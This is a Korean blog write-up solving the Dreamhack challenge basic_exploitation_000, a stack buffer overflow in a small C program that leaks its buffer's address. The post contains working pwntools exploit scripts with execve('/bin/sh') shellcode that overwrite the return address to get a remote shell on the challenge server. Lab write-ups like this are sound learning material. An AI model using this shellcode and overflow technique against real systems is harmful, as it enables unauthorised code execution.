basic_exploitation_000 풀이

2021. 7. 11. 09:23Dreamhack Wargame

728x90

문제 제목
문제 정보
주어진 파일 두 개

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

basic_exploitation_000.c 파일의 소스코드입니다.

main문부터 차근차근 보겠습니다.

 

우선 0x80(10진수로 128) 크기의 배열 buf를 선언해주고 initialize() 함수를 실행시킵니다.

그리고 buf의 주소값을 출력 후, scanf로 141 길이의 문자열을 입력받습니다.

buf의 길이는 128, sfp를 합해도 132인데 141길이의 문자열을 입력받으니 이 부분에서 오버플로우가 생길 것 같습니다.

 

initialize() 함수는 프로그램을 시작한지 30초가 지나면 alarm_handler() 함수에 신호를 보내 알람을 울리는 함수입니다.

위에 있는 두 함수는 별로 신경 쓰지 않아도 될 것 같습니다.

 

그럼 이제 문제는 어떻게 FLAG를 찾냐...가 되겠습니다.

 

우선 buf랑 sfp부분은 쉘코드로 채우면 될 것 같습니다.

만약 길이가 모자라다면 다른 쓰레기값도 조금 더 넣어서 익스코드를 만들어보겠습니다.

 

그리고 sfp 뒷부분은 ret인데 쉘코드를 실행하려면 다시 buf의 첫 부분으로 돌아가야 합니다.

그런데, 아까 봤던 코드의 main함수를 보면 printf로 buf의 시작 주소를 알려주고 있습니다.

basic_exploitation_001에서 했던 것처럼 이 주소를 이용하면 될 것 같습니다.

ret 부분에는 buf의 주소를 넣어서 쉘코드를 실행하는 방식으로 익스코드를 짜 보겠습니다.

 

natcat으로 서버에 접속해서 buf의 시작주소를 받았다

from pwn import *

p=remote("host1.dreamhack.games",12204)

a="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"

a+='a'*101

a+=p32(0xffabd328)

p.send(a)

p.interactive()

여기서부터 뭔가 잘못됐다는걸 느꼈다

뭔가 잘못돼도 한참 잘못됐다는 걸 느껴버렸습니다.

 

쉘코드는 정상일 테고, 문법적인 오류도 나지 않았으니 제 머릿속에 남은 가능성은 한 가지밖에 없었습니다.

buf 주소가 정해진 것이 아니라 매번 바뀐다는 것...

 

그래서 다시 natcat으로 서버에 접속해봤습니다.

설마가 사람을 잡습니다

가설이 진짜가 됐으니 이제 다른 방법을 생각해야 합니다.

 

주소가 매번 바뀐다면, 주소를 알 수 있는 방법은 printf에서 나오는 출력 값뿐입니다.

그렇다면 그 부분에서 buf = 이랑 괄호를 지우고 주소 값만 따와야 합니다.

 

깨달음을 얻고선 구글에 pwntools 명령어 모음이라고 검색하고 서칭을 했습니다.

3분 정도 찾으니 현재 상황에 딱 맞는 명령어가 나왔습니다.

이제 익스코드를 수정해보겠습니다.

 

from pwn import *

p=remote("host1.dreamhack.games",9826)

p.recvuntil("buf = (")
juso=int(p.recv(10),16)

a="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
a+='a'*106
a+=p32(juso)
p.send(a)

p.interactive()

저거 만들고 나서 실행해봤는데 FLAG 안 뜨길래 쉘코드도 두 번 정도 갈아엎었습니다....

 

FLAG 획득 완료
문제 풀이 성공

자잘한 실수 때문에 여러모로 힘들었던 문제였습니다....

그래도 대처 방법을 알았으니 다음에는 이런 실수를 안 하길 빌어야겠습니다.

728x90

'Dreamhack Wargame' 카테고리의 다른 글

basic_rop_x86 풀이  (0) 2021.07.31
welcome 풀이  (0) 2021.07.22
basic_exploitation_001 풀이  (0) 2021.07.10
broken-png 풀이  (0) 2021.06.03
pathtraversal 풀이  (0) 2021.05.29